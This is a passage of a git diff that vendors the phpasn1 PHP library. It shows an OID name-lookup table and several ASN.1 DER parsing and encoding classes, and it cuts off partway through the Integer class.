'1.2.643.2.2.9' => 'GOST R 34.11-94', + '1.2.643.2.2.10' => 'HMAC GOST 34.11-94', + '1.2.643.2.2.19' => 'GOST R 34.10-2001', + '1.2.643.2.2.20' => 'GOST R 34.10-94', + '1.2.643.2.2.21' => 'GOST 28147-89', + '1.2.643.2.2.22' => 'GOST 28147-89 MAC', + '1.2.643.2.2.23' => 'GOST R 34.11-94 PRF', + '1.2.643.2.2.98' => 'GOST R 34.10-2001 DH', + '1.2.643.2.2.99' => 'GOST R 34.10-94 DH', + '1.2.643.2.2.14.1' => 'id-Gost28147-89-CryptoPro-KeyMeshing', + '1.2.643.2.2.14.0' => 'id-Gost28147-89-None-KeyMeshing', + '1.2.643.2.2.30.0' => 'id-GostR3411-94-TestParamSet', + '1.2.643.2.2.30.1' => 'id-GostR3411-94-CryptoProParamSet', + '1.2.643.2.2.31.0' => 'id-Gost28147-89-TestParamSet', + '1.2.643.2.2.31.1' => 'id-Gost28147-89-CryptoPro-A-ParamSet', + '1.2.643.2.2.31.2' => 'id-Gost28147-89-CryptoPro-B-ParamSet', + '1.2.643.2.2.31.3' => 'id-Gost28147-89-CryptoPro-C-ParamSet', + '1.2.643.2.2.31.4' => 'id-Gost28147-89-CryptoPro-D-ParamSet', + '1.2.643.2.2.31.5' => 'id-Gost28147-89-CryptoPro-Oscar-1-1-ParamSet', + '1.2.643.2.2.31.6' => 'id-Gost28147-89-CryptoPro-Oscar-1-0-ParamSet', + '1.2.643.2.2.31.7' => 'id-Gost28147-89-CryptoPro-RIC-1-ParamSet', + '1.2.643.2.2.32.0' => 'id-GostR3410-94-TestParamSet', + '1.2.643.2.2.32.2' => 'id-GostR3410-94-CryptoPro-A-ParamSet', + '1.2.643.2.2.32.3' => 'id-GostR3410-94-CryptoPro-B-ParamSet', + '1.2.643.2.2.32.4' => 'id-GostR3410-94-CryptoPro-C-ParamSet', + '1.2.643.2.2.32.5' => 'id-GostR3410-94-CryptoPro-D-ParamSet', + '1.2.643.2.2.33.1' => 'id-GostR3410-94-CryptoPro-XchA-ParamSet', + '1.2.643.2.2.33.2' => 'id-GostR3410-94-CryptoPro-XchB-ParamSet', + '1.2.643.2.2.33.3' => 'id-GostR3410-94-CryptoPro-XchC-ParamSet', + '1.2.643.2.2.35.0' => 'id-GostR3410-2001-TestParamSet', + '1.2.643.2.2.35.1' => 'id-GostR3410-2001-CryptoPro-A-ParamSet', + '1.2.643.2.2.35.2' => 'id-GostR3410-2001-CryptoPro-B-ParamSet', + '1.2.643.2.2.35.3' => 'id-GostR3410-2001-CryptoPro-C-ParamSet', + '1.2.643.2.2.36.0' => 'id-GostR3410-2001-CryptoPro-XchA-ParamSet', + '1.2.643.2.2.36.1' => 'id-GostR3410-2001-CryptoPro-XchB-ParamSet', + '1.2.643.2.2.20.1' => 'id-GostR3410-94-a', + '1.2.643.2.2.20.2' => 'id-GostR3410-94-aBis', + '1.2.643.2.2.20.3' => 'id-GostR3410-94-b', + '1.2.643.2.2.20.4' => 'id-GostR3410-94-bBis', + '1.2.643.2.9.1.6.1' => 'GOST 28147-89 Cryptocom ParamSet', + '1.2.643.2.9.1.5.3' => 'GOST 34.10-94 Cryptocom', + '1.2.643.2.9.1.5.4' => 'GOST 34.10-2001 Cryptocom', + '1.2.643.2.9.1.3.3' => 'GOST R 34.11-94 with GOST R 34.10-94 Cryptocom', + '1.2.643.2.9.1.3.4' => 'GOST R 34.11-94 with GOST R 34.10-2001 Cryptocom', + '1.2.643.2.9.1.8.1' => 'GOST R 3410-2001 Parameter Set Cryptocom', + '1.2.392.200011.61.1.1.1.2' => 'camellia-128-cbc', + '1.2.392.200011.61.1.1.1.3' => 'camellia-192-cbc', + '1.2.392.200011.61.1.1.1.4' => 'camellia-256-cbc', + '1.2.392.200011.61.1.1.3.2' => 'id-camellia128-wrap', + '1.2.392.200011.61.1.1.3.3' => 'id-camellia192-wrap', + '1.2.392.200011.61.1.1.3.4' => 'id-camellia256-wrap', + '0.3.4401.5' => 'ntt-ds', + '0.3.4401.5.3.1.9' => 'camellia', + '0.3.4401.5.3.1.9.1' => 'camellia-128-ecb', + '0.3.4401.5.3.1.9.3' => 'camellia-128-ofb', + '0.3.4401.5.3.1.9.4' => 'camellia-128-cfb', + '0.3.4401.5.3.1.9.6' => 'camellia-128-gcm', + '0.3.4401.5.3.1.9.7' => 'camellia-128-ccm', + '0.3.4401.5.3.1.9.9' => 'camellia-128-ctr', + '0.3.4401.5.3.1.9.10' => 'camellia-128-cmac', + '0.3.4401.5.3.1.9.21' => 'camellia-192-ecb', + '0.3.4401.5.3.1.9.23' => 'camellia-192-ofb', + '0.3.4401.5.3.1.9.24' => 'camellia-192-cfb', + '0.3.4401.5.3.1.9.26' => 'camellia-192-gcm', + '0.3.4401.5.3.1.9.27' => 'camellia-192-ccm', + '0.3.4401.5.3.1.9.29' => 'camellia-192-ctr', + '0.3.4401.5.3.1.9.30' => 'camellia-192-cmac', + '0.3.4401.5.3.1.9.41' => 'camellia-256-ecb', + '0.3.4401.5.3.1.9.43' => 'camellia-256-ofb', + '0.3.4401.5.3.1.9.44' => 'camellia-256-cfb', + '0.3.4401.5.3.1.9.46' => 'camellia-256-gcm', + '0.3.4401.5.3.1.9.47' => 'camellia-256-ccm', + '0.3.4401.5.3.1.9.49' => 'camellia-256-ctr', + '0.3.4401.5.3.1.9.50' => 'camellia-256-cmac', + '1.2.410.200004' => 'kisa', + '1.2.410.200004.1.3' => 'seed-ecb', + '1.2.410.200004.1.4' => 'seed-cbc', + '1.2.410.200004.1.5' => 'seed-cfb', + '1.2.410.200004.1.6' => 'seed-ofb', + '1.2.840.10046.2.1' => 'X9.42 DH', + '1.3.36.3.3.2.8.1.1.1' => 'brainpoolP160r1', + '1.3.36.3.3.2.8.1.1.2' => 'brainpoolP160t1', + '1.3.36.3.3.2.8.1.1.3' => 'brainpoolP192r1', + '1.3.36.3.3.2.8.1.1.4' => 'brainpoolP192t1', + '1.3.36.3.3.2.8.1.1.5' => 'brainpoolP224r1', + '1.3.36.3.3.2.8.1.1.6' => 'brainpoolP224t1', + '1.3.36.3.3.2.8.1.1.7' => 'brainpoolP256r1', + '1.3.36.3.3.2.8.1.1.8' => 'brainpoolP256t1', + '1.3.36.3.3.2.8.1.1.9' => 'brainpoolP320r1', + '1.3.36.3.3.2.8.1.1.10' => 'brainpoolP320t1', + '1.3.36.3.3.2.8.1.1.11' => 'brainpoolP384r1', + '1.3.36.3.3.2.8.1.1.12' => 'brainpoolP384t1', + '1.3.36.3.3.2.8.1.1.13' => 'brainpoolP512r1', + '1.3.36.3.3.2.8.1.1.14' => 'brainpoolP512t1', + '1.3.133.16.840.63.0' => 'x9-63-scheme', + '1.3.132.1' => 'secg-scheme', + '1.3.133.16.840.63.0.2' => 'dhSinglePass-stdDH-sha1kdf-scheme', + '1.3.132.1.11.0' => 'dhSinglePass-stdDH-sha224kdf-scheme', + '1.3.132.1.11.1' => 'dhSinglePass-stdDH-sha256kdf-scheme', + '1.3.132.1.11.2' => 'dhSinglePass-stdDH-sha384kdf-scheme', + '1.3.132.1.11.3' => 'dhSinglePass-stdDH-sha512kdf-scheme', + '1.3.133.16.840.63.0.3' => 'dhSinglePass-cofactorDH-sha1kdf-scheme', + '1.3.132.1.14.0' => 'dhSinglePass-cofactorDH-sha224kdf-scheme', + '1.3.132.1.14.1' => 'dhSinglePass-cofactorDH-sha256kdf-scheme', + '1.3.132.1.14.2' => 'dhSinglePass-cofactorDH-sha384kdf-scheme', + '1.3.132.1.14.3' => 'dhSinglePass-cofactorDH-sha512kdf-scheme', + '1.3.6.1.4.1.11129.2.4.2' => 'CT Precertificate SCTs', + '1.3.6.1.4.1.11129.2.4.3' => 'CT Precertificate Poison', + '1.3.6.1.4.1.11129.2.4.4' => 'CT Precertificate Signer', + '1.3.6.1.4.1.11129.2.4.5' => 'CT Certificate SCTs', + '1.3.6.1.4.1.311.60.2.1.1' => 'jurisdictionLocalityName', + '1.3.6.1.4.1.311.60.2.1.2' => 'jurisdictionStateOrProvinceName', + '1.3.6.1.4.1.311.60.2.1.3' => 'jurisdictionCountryName', + '1.3.6.1.4.1.11591.4.11' => 'id-scrypt', + ]; + + if (array_key_exists($oidString, $oids)) { + return $oids[$oidString]; + } + + switch ($oidString) { + case self::RSA_ENCRYPTION: + return 'RSA Encryption'; + case self::MD5_WITH_RSA_ENCRYPTION: + return 'MD5 with RSA Encryption'; + case self::SHA1_WITH_RSA_SIGNATURE: + return 'SHA-1 with RSA Signature'; + + case self::PKCS9_EMAIL: + return 'PKCS #9 Email Address'; + case self::PKCS9_UNSTRUCTURED_NAME: + return 'PKCS #9 Unstructured Name'; + case self::PKCS9_CONTENT_TYPE: + return 'PKCS #9 Content Type'; + case self::PKCS9_MESSAGE_DIGEST: + return 'PKCS #9 Message Digest'; + case self::PKCS9_SIGNING_TIME: + return 'PKCS #9 Signing Time'; + + case self::COMMON_NAME: + return 'Common Name'; + case self::SURNAME: + return 'Surname'; + case self::SERIAL_NUMBER: + return 'Serial Number'; + case self::COUNTRY_NAME: + return 'Country Name'; + case self::LOCALITY_NAME: + return 'Locality Name'; + case self::STATE_OR_PROVINCE_NAME: + return 'State or Province Name'; + case self::STREET_ADDRESS: + return 'Street Address'; + case self::ORGANIZATION_NAME: + return 'Organization Name'; + case self::OU_NAME: + return 'Organization Unit Name'; + case self::TITLE: + return 'Title'; + case self::DESCRIPTION: + return 'Description'; + case self::POSTAL_ADDRESS: + return 'Postal Address'; + case self::POSTAL_CODE: + return 'Postal Code'; + case self::AUTHORITY_REVOCATION_LIST: + return 'Authority Revocation List'; + + case self::CERT_EXT_SUBJECT_DIRECTORY_ATTR: + return 'Subject directory attributes'; + case self::CERT_EXT_SUBJECT_KEY_IDENTIFIER: + return 'Subject key identifier'; + case self::CERT_EXT_KEY_USAGE: + return 'Key usage certificate extension'; + case self::CERT_EXT_PRIVATE_KEY_USAGE_PERIOD: + return 'Private key usage'; + case self::CERT_EXT_SUBJECT_ALT_NAME: + return 'Subject alternative name (SAN)'; + case self::CERT_EXT_ISSUER_ALT_NAME: + return 'Issuer alternative name'; + case self::CERT_EXT_BASIC_CONSTRAINTS: + return 'Basic constraints'; + case self::CERT_EXT_CRL_NUMBER: + return 'CRL number'; + case self::CERT_EXT_REASON_CODE: + return 'Reason code'; + case self::CERT_EXT_INVALIDITY_DATE: + return 'Invalidity code'; + case self::CERT_EXT_DELTA_CRL_INDICATOR: + return 'Delta CRL indicator'; + case self::CERT_EXT_ISSUING_DIST_POINT: + return 'Issuing distribution point'; + case self::CERT_EXT_CERT_ISSUER: + return 'Certificate issuer'; + case self::CERT_EXT_NAME_CONSTRAINTS: + return 'Name constraints'; + case self::CERT_EXT_CRL_DISTRIBUTION_POINTS: + return 'CRL distribution points'; + case self::CERT_EXT_CERT_POLICIES: + return 'Certificate policies '; + case self::CERT_EXT_AUTHORITY_KEY_IDENTIFIER: + return 'Authority key identifier'; + case self::CERT_EXT_EXTENDED_KEY_USAGE: + return 'Extended key usage'; + case self::AUTHORITY_INFORMATION_ACCESS: + return 'Certificate Authority Information Access (AIA)'; + + default: + if ($loadFromWeb) { + return self::loadFromWeb($oidString); + } else { + return $oidString; + } + } + } + + public static function loadFromWeb($oidString) + { + $ch = curl_init("http://oid-info.com/get/{$oidString}"); + + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_HEADER, 0); + + $contents = curl_exec($ch); + curl_close($ch); + + // This pattern needs to be updated as soon as the website layout of oid-info.com changes + preg_match_all('#(.+)\(\d+\)#si', $contents, $oidName); + + if (empty($oidName[1])) { + return "{$oidString} (unknown)"; + } + + $oidName = ucfirst(strtolower(preg_replace('/([A-Z][a-z])/', ' $1', $oidName[1][0]))); + $oidName = str_replace('-', ' ', $oidName); + + return "{$oidName} ({$oidString})"; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Parsable.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Parsable.php new file mode 100644 index 0000000..fa66b55 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Parsable.php @@ -0,0 +1,32 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1; + +use FG\ASN1\Exception\ParserException; + +/** + * The Parsable interface describes classes that can be parsed from their binary DER representation. + */ +interface Parsable +{ + /** + * Parse an instance of this class from its binary DER encoded representation. + * + * @param string $binaryData + * @param int $offsetIndex the offset at which parsing of the $binaryData is started. This parameter ill be modified + * to contain the offset index of the next object after this object has been parsed + * + * @throws ParserException if the given binary data is either invalid or not currently supported + * + * @return static + */ + public static function fromBinary(&$binaryData, &$offsetIndex = null); +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/TemplateParser.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/TemplateParser.php new file mode 100644 index 0000000..90a40b0 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/TemplateParser.php @@ -0,0 +1,70 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1; + +use Exception; +use FG\ASN1\Exception\ParserException; +use FG\ASN1\Universal\Sequence; + +class TemplateParser +{ + /** + * @param string $data + * @param array $template + * @return \FG\ASN1\ASNObject|Sequence + * @throws ParserException if there was an issue parsing + */ + public function parseBase64($data, array $template) + { + // TODO test with invalid data + return $this->parseBinary(base64_decode($data), $template); + } + + /** + * @param string $binary + * @param array $template + * @return \FG\ASN1\ASNObject|Sequence + * @throws ParserException if there was an issue parsing + */ + public function parseBinary($binary, array $template) + { + $parsedObject = ASNObject::fromBinary($binary); + + foreach ($template as $key => $value) { + $this->validate($parsedObject, $key, $value); + } + + return $parsedObject; + } + + private function validate(ASNObject $object, $key, $value) + { + if (is_array($value)) { + $this->assertTypeId($key, $object); + + /* @var Construct $object */ + foreach ($value as $key => $child) { + $this->validate($object->current(), $key, $child); + $object->next(); + } + } else { + $this->assertTypeId($value, $object); + } + } + + private function assertTypeId($expectedTypeId, ASNObject $object) + { + $actualType = $object->getType(); + if ($expectedTypeId != $actualType) { + throw new Exception("Expected type ($expectedTypeId) does not match actual type ($actualType"); + } + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/BMPString.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/BMPString.php new file mode 100644 index 0000000..83ec6a9 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/BMPString.php @@ -0,0 +1,41 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Universal; + +use FG\ASN1\AbstractString; +use FG\ASN1\Identifier; + +class BMPString extends AbstractString +{ + /** + * Creates a new ASN.1 BMP String. + * + * BMPString is a subtype of UniversalString that has its own + * unique tag and contains only the characters in the + * Basic Multilingual Plane (those corresponding to the first + * 64K-2 cells, less cells whose encoding is used to address + * characters outside the Basic Multilingual Plane) of ISO/IEC 10646-1. + * + * TODO The encodable characters of this type are not yet checked. + * + * @param string $string + */ + public function __construct($string) + { + $this->value = $string; + $this->allowAll(); + } + + public function getType() + { + return Identifier::BMP_STRING; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/BitString.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/BitString.php new file mode 100644 index 0000000..226695c --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/BitString.php @@ -0,0 +1,88 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Universal; + +use Exception; +use FG\ASN1\Exception\ParserException; +use FG\ASN1\Parsable; +use FG\ASN1\Identifier; + +class BitString extends OctetString implements Parsable +{ + private $nrOfUnusedBits; + + /** + * Creates a new ASN.1 BitString object. + * + * @param string|int $value Either the hexadecimal value as a string (spaces are allowed - leading 0x is optional) or a numeric value + * @param int $nrOfUnusedBits the number of unused bits in the last octet [optional]. + * + * @throws Exception if the second parameter is no positive numeric value + */ + public function __construct($value, $nrOfUnusedBits = 0) + { + parent::__construct($value); + + if (!is_numeric($nrOfUnusedBits) || $nrOfUnusedBits < 0) { + throw new Exception('BitString: second parameter needs to be a positive number (or zero)!'); + } + + $this->nrOfUnusedBits = $nrOfUnusedBits; + } + + public function getType() + { + return Identifier::BITSTRING; + } + + protected function calculateContentLength() + { + // add one to the length for the first octet which encodes the number of unused bits in the last octet + return parent::calculateContentLength() + 1; + } + + protected function getEncodedValue() + { + // the first octet determines the number of unused bits + $nrOfUnusedBitsOctet = chr($this->nrOfUnusedBits); + $actualContent = parent::getEncodedValue(); + + return $nrOfUnusedBitsOctet.$actualContent; + } + + public function getNumberOfUnusedBits() + { + return $this->nrOfUnusedBits; + } + + public static function fromBinary(&$binaryData, &$offsetIndex = 0) + { + self::parseIdentifier($binaryData[$offsetIndex], Identifier::BITSTRING, $offsetIndex++); + $contentLength = self::parseContentLength($binaryData, $offsetIndex, 2); + + $nrOfUnusedBits = ord($binaryData[$offsetIndex]); + $value = substr($binaryData, $offsetIndex + 1, $contentLength - 1); + + if ($nrOfUnusedBits > 7 || // no less than 1 used, otherwise non-minimal + ($contentLength - 1) == 1 && $nrOfUnusedBits > 0 || // content length only 1, no + (ord($value[strlen($value)-1])&((1<<$nrOfUnusedBits)-1)) != 0 // unused bits set + ) { + throw new ParserException("Can not parse bit string with invalid padding", $offsetIndex); + } + + $offsetIndex += $contentLength; + + $parsedObject = new self(bin2hex($value), $nrOfUnusedBits); + $parsedObject->setContentLength($contentLength); + + return $parsedObject; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/Boolean.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/Boolean.php new file mode 100644 index 0000000..b73c99f --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/Boolean.php @@ -0,0 +1,75 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Universal; + +use FG\ASN1\ASNObject; +use FG\ASN1\Parsable; +use FG\ASN1\Identifier; +use FG\ASN1\Exception\ParserException; + +class Boolean extends ASNObject implements Parsable +{ + private $value; + + /** + * @param bool $value + */ + public function __construct($value) + { + $this->value = $value; + } + + public function getType() + { + return Identifier::BOOLEAN; + } + + protected function calculateContentLength() + { + return 1; + } + + protected function getEncodedValue() + { + if ($this->value == false) { + return chr(0x00); + } else { + return chr(0xFF); + } + } + + public function getContent() + { + if ($this->value == true) { + return 'TRUE'; + } else { + return 'FALSE'; + } + } + + public static function fromBinary(&$binaryData, &$offsetIndex = 0) + { + self::parseIdentifier($binaryData[$offsetIndex], Identifier::BOOLEAN, $offsetIndex++); + $contentLength = self::parseContentLength($binaryData, $offsetIndex); + + if ($contentLength != 1) { + throw new ParserException("An ASN.1 Boolean should not have a length other than one. Extracted length was {$contentLength}", $offsetIndex); + } + + $value = ord($binaryData[$offsetIndex++]); + $booleanValue = $value == 0xFF ? true : false; + + $parsedObject = new self($booleanValue); + $parsedObject->setContentLength($contentLength); + + return $parsedObject; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/CharacterString.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/CharacterString.php new file mode 100644 index 0000000..bfc170d --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/CharacterString.php @@ -0,0 +1,28 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Universal; + +use FG\ASN1\AbstractString; +use FG\ASN1\Identifier; + +class CharacterString extends AbstractString +{ + public function __construct($string) + { + $this->value = $string; + $this->allowAll(); + } + + public function getType() + { + return Identifier::CHARACTER_STRING; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/Enumerated.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/Enumerated.php new file mode 100644 index 0000000..06d04a3 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/Enumerated.php @@ -0,0 +1,21 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Universal; + +use FG\ASN1\Identifier; + +class Enumerated extends Integer +{ + public function getType() + { + return Identifier::ENUMERATED; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/GeneralString.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/GeneralString.php new file mode 100644 index 0000000..fb0346f --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/GeneralString.php @@ -0,0 +1,34 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Universal; + +use FG\ASN1\AbstractString; +use FG\ASN1\Identifier; + +class GeneralString extends AbstractString +{ + /** + * Creates a new ASN.1 GeneralString. + * TODO The encodable characters of this type are not yet checked. + * + * @param string $string + */ + public function __construct($string) + { + $this->value = $string; + $this->allowAll(); + } + + public function getType() + { + return Identifier::GENERAL_STRING; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/GeneralizedTime.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/GeneralizedTime.php new file mode 100644 index 0000000..ca92209 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/GeneralizedTime.php @@ -0,0 +1,134 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Universal; + +use FG\ASN1\AbstractTime; +use FG\ASN1\Parsable; +use FG\ASN1\Identifier; +use FG\ASN1\Exception\ParserException; + +/** + * This ASN.1 universal type contains date and time information according to ISO 8601. + * + * The type consists of values representing: + * a) a calendar date, as defined in ISO 8601; and + * b) a time of day, to any of the precisions defined in ISO 8601, except for the hours value 24 which shall not be used; and + * c) the local time differential factor as defined in ISO 8601. + * + * Decoding of this type will accept the Basic Encoding Rules (BER) + * The encoding will comply with the Distinguished Encoding Rules (DER). + */ +class GeneralizedTime extends AbstractTime implements Parsable +{ + private $microseconds; + + public function __construct($dateTime = null, $dateTimeZone = 'UTC') + { + parent::__construct($dateTime, $dateTimeZone); + $this->microseconds = $this->value->format('u'); + if ($this->containsFractionalSecondsElement()) { + // DER requires us to remove trailing zeros + $this->microseconds = preg_replace('/([1-9]+)0+$/', '$1', $this->microseconds); + } + } + + public function getType() + { + return Identifier::GENERALIZED_TIME; + } + + protected function calculateContentLength() + { + $contentSize = 15; // YYYYMMDDHHmmSSZ + + if ($this->containsFractionalSecondsElement()) { + $contentSize += 1 + strlen($this->microseconds); + } + + return $contentSize; + } + + public function containsFractionalSecondsElement() + { + return intval($this->microseconds) > 0; + } + + protected function getEncodedValue() + { + $encodedContent = $this->value->format('YmdHis'); + if ($this->containsFractionalSecondsElement()) { + $encodedContent .= ".{$this->microseconds}"; + } + + return $encodedContent.'Z'; + } + + public function __toString() + { + if ($this->containsFractionalSecondsElement()) { + return $this->value->format("Y-m-d\tH:i:s.uP"); + } else { + return $this->value->format("Y-m-d\tH:i:sP"); + } + } + + public static function fromBinary(&$binaryData, &$offsetIndex = 0) + { + self::parseIdentifier($binaryData[$offsetIndex], Identifier::GENERALIZED_TIME, $offsetIndex++); + $lengthOfMinimumTimeString = 14; // YYYYMMDDHHmmSS + $contentLength = self::parseContentLength($binaryData, $offsetIndex, $lengthOfMinimumTimeString); + $maximumBytesToRead = $contentLength; + + $format = 'YmdGis'; + $content = substr($binaryData, $offsetIndex, $contentLength); + $dateTimeString = substr($content, 0, $lengthOfMinimumTimeString); + $offsetIndex += $lengthOfMinimumTimeString; + $maximumBytesToRead -= $lengthOfMinimumTimeString; + + if ($contentLength == $lengthOfMinimumTimeString) { + $localTimeZone = new \DateTimeZone(date_default_timezone_get()); + $dateTime = \DateTime::createFromFormat($format, $dateTimeString, $localTimeZone); + } else { + if ($binaryData[$offsetIndex] == '.') { + $maximumBytesToRead--; // account for the '.' + $nrOfFractionalSecondElements = 1; // account for the '.' + + while ($maximumBytesToRead > 0 + && $binaryData[$offsetIndex + $nrOfFractionalSecondElements] != '+' + && $binaryData[$offsetIndex + $nrOfFractionalSecondElements] != '-' + && $binaryData[$offsetIndex + $nrOfFractionalSecondElements] != 'Z') { + $nrOfFractionalSecondElements++; + $maximumBytesToRead--; + } + + $dateTimeString .= substr($binaryData, $offsetIndex, $nrOfFractionalSecondElements); + $offsetIndex += $nrOfFractionalSecondElements; + $format .= '.u'; + } + + $dateTime = \DateTime::createFromFormat($format, $dateTimeString, new \DateTimeZone('UTC')); + + if ($maximumBytesToRead > 0) { + if ($binaryData[$offsetIndex] == '+' + || $binaryData[$offsetIndex] == '-') { + $dateTime = static::extractTimeZoneData($binaryData, $offsetIndex, $dateTime); + } elseif ($binaryData[$offsetIndex++] != 'Z') { + throw new ParserException('Invalid ISO 8601 Time String', $offsetIndex); + } + } + } + + $parsedObject = new self($dateTime); + $parsedObject->setContentLength($contentLength); + + return $parsedObject; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/GraphicString.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/GraphicString.php new file mode 100644 index 0000000..4a01d67 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/GraphicString.php @@ -0,0 +1,34 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Universal; + +use FG\ASN1\AbstractString; +use FG\ASN1\Identifier; + +class GraphicString extends AbstractString +{ + /** + * Creates a new ASN.1 Graphic String. + * TODO The encodable characters of this type are not yet checked. + * + * @param string $string + */ + public function __construct($string) + { + $this->value = $string; + $this->allowAll(); + } + + public function getType() + { + return Identifier::GRAPHIC_STRING; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/IA5String.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/IA5String.php new file mode 100644 index 0000000..33a8067 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/IA5String.php @@ -0,0 +1,35 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Universal; + +use FG\ASN1\AbstractString; +use FG\ASN1\Identifier; + +/** + * The International Alphabet No.5 (IA5) references the encoding of the ASCII characters. + * + * Each character in the data is encoded as 1 byte. + */ +class IA5String extends AbstractString +{ + public function __construct($string) + { + parent::__construct($string); + for ($i = 1; $i < 128; $i++) { + $this->allowCharacter(chr($i)); + } + } + + public function getType() + { + return Identifier::IA5_STRING; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/Integer.php b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/Integer.php new file mode 100644 index 0000000..fe3806b --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/ASN1/Universal/Integer.php @@ -0,0 +1,130 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\ASN1\Universal; + +use Exception; +use FG\Utility\BigInteger; +use FG\ASN1\Exception\ParserException; +use FG\ASN1\ASNObject; +use FG\ASN1\Parsable; +use FG\ASN1\Identifier; + +class Integer extends ASNObject implements Parsable +{ + /** @var int */ + private $value; + + /** + * @param int $value + * + * @throws Exception if the value is not numeric + */ + public function __construct($value) + { + if (is_numeric($value) == false) { + throw new Exception("Invalid VALUE [{$value}] for ASN1_INTEGER"); + } + $this->value = $value; + } + + public function getType() + { + return Identifier::INTEGER; + } + + public function getContent() + { + return $this->value; + } + + protected function calculateContentLength() + { + return strlen($this->getEncodedValue()); + } + + protected function getEncodedValue() + { + $value = BigInteger::create($this->value, 10); + $negative = $value->compare(0) < 0; + if ($negative) { + $value = $value->absoluteValue(); + $limit = 0x80; + } else { + $limit = 0x7f; + } + + $mod = 0xff+1; + $values = []; + while($value->compare($limit) > 0) { + $values[] = $value->modulus($mod)->toInteger(); + $value = $value->shiftRight(8); + } + + $values[] = $value->modulus($mod)->toInteger(); + $numValues = count($values); + + if ($negative) { + for ($i = 0; $i < $numValues; $i++) { + $values[$i] = 0xff - $values[$i]; + } + for ($i = 0; $i < $numValues; $i++) { + $values[$i] += 1; + if ($values[$i] <= 0xff) { + break; + } + assert($i != $numValues - 1); + $values[$i] = 0; + } + if ($values[$numValues - 1] == 0x7f) { + $values[] = 0xff; + } + } + $values = array_reverse($values); + $r = pack("C*", ...$values); + return $r; + } + + private static function ensureMinimalEncoding($binaryData, $offsetIndex) + { + // All the first nine bits cannot equal 0 or 1, which would + // be non-minimal encoding for positive and negative integers respectively + if ((ord($binaryData[$offsetIndex]) == 0x00 && (ord($binaryData[$offsetIndex+1]) & 0x80) == 0) || + (ord($binaryData[$offsetIndex]) == 0xff && (ord($binaryData[$offsetIndex+1]) & 0x80) == 0x80)) { + throw new ParserException("Integer not minimally encoded", $offsetIndex); + } + } + + public static function fromBinary(&$binaryData, &$offsetIndex = 0) + { + $parsedObject = new static(0); + self::parseIdentifier($binaryData[$offsetIndex], $parsedObject->getType(), $offsetIndex++); + $contentLength = self::parseContentLength($binaryData, $offsetIndex, 1); + + if ($contentLength > 1) { + self::ensureMinimalEncoding($binaryData, $offsetIndex); + } + $isNegative = (ord($binaryData[$offsetIndex]) & 0x80) != 0x00; + $number = BigInteger::create(ord($binaryData[$offsetIndex++]) & 0x7F); + + for ($i = 0; $i < $contentLength - 1; $i++) { + $number = $number->multiply(0x100)->add(ord($binaryData[$offsetIndex++])); + 